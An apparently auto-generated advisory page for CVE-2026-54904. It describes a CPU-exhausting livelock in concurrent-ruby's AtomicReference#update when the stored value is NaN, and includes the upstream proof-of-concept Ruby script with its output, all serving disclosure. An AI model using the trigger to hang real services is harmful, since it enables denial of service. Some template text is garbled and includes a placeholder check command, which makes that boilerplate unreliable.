CVE-2026-54904: Concurrent Ruby `AtomicReference#update` Livelocks When The Stored Vulnerability

HIGH
Advisory Identifier: GHSA-h8w8-99g7-qmvj
CVSS 7.5
CWE-835
Published
Advisory Summary

CVE-2026-54904 is a HIGH (CVSS 7.5) `atomicreference#update` livelocks when the stored vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Concurrent Ruby libraries in the RubyGems ecosystem. The issue involves `atomicreference#update` livelocks when the stored value is `float::nan`. Remediation is available by upgrading affected packages to version 1.3.7.

CVE-2026-54904 at a Glance

CVE Identifier CVE-2026-54904
GHSA Identifier GHSA-h8w8-99g7-qmvj
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Concurrent Ruby
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-54904

To remediate this vulnerability, upgrade all affected Concurrent Ruby dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

concurrent-ruby fixed: 1.3.7
Upgrade concurrent-ruby to 1.3.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for concurrent-ruby

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54904, inspect your project dependencies for Concurrent Ruby:

inspect dependencies for concurrent-ruby

Analyze the terminal output to locate any version of Concurrent Ruby in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Concurrent Ruby, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`. The issue is caused by the interaction between: - `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds. - Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap. - Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`. As a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs. ### Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab ### Details `AtomicReference#update` retries until `compare_and_set` returns true: ```ruby def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value end ``` For numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set: ```ruby def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end end ``` When the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever. This is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior. ### PoC ```ruby #!/usr/bin/env ruby # frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}" ``` ### Log evidence ```text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0 ``` ### Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

CVE-2026-54904 Affected Concurrent Ruby Versions

1 component(s)
Fixed Versions:
1.3.7
Product / Package Ecosystem Affected Versions Fixed Version
concurrent-ruby
RubyGems
< 1.3.7
1.3.7

References

Frequently Asked Questions

What is CVE-2026-54904?
CVE-2026-54904 is a security vulnerability in Concurrent Ruby involving `AtomicReference#update` livelocks when the stored value is `Float::NAN` under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Concurrent Ruby versions are affected?
Affected versions include releases prior to 1.3.7 across affected packages: concurrent-ruby.
What version fixes CVE-2026-54904?
Upgrading to 1.3.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is concurrent-ruby affected?
Yes, concurrent-ruby is affected in releases prior to 1.3.7. Upgrade your dependency to 1.3.7 or later.
What is the CVSS score of CVE-2026-54904?
CVE-2026-54904 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-54904?
CVE-2026-54904 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check RubyGems dependencies for CVE-2026-54904?
Run the dependency tree command: 'inspect dependencies for concurrent-ruby'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h8w8-99g7-qmvj",
  "modified" : "2026-08-05T17:36:06Z",
  "published" : "2026-06-19T20:47:35Z",
  "aliases" : [ "CVE-2026-54904" ],
  "summary" : "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
  "details" : "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n  true until compare_and_set(old_value = get, new_value = yield(old_value))\n  new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n  if old_value.kind_of? Numeric\n    while true\n      old = get\n\n      return false unless old.kind_of? Numeric\n      return false unless old == old_value\n\n      result = _compare_and_set(old, new_value)\n      return result if result\n    end\n  else\n    _compare_and_set(old_value, new_value)\n  end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/atomic_reference'\nrequire 'concurrent/version'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n  ref.update do |_old_value|\n    attempts += 1\n    0.0\n  end\n  finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? && !finished && attempts > 1000\n  puts 'result=REPRODUCED busy retry loop; update did not complete'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n  control_attempts += 1\n  old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "concurrent-ruby"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ruby-concurrency/concurrent-ruby"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T20:47:35Z",
    "nvd_published_at" : "2026-06-24T17:17:29Z"
  }
}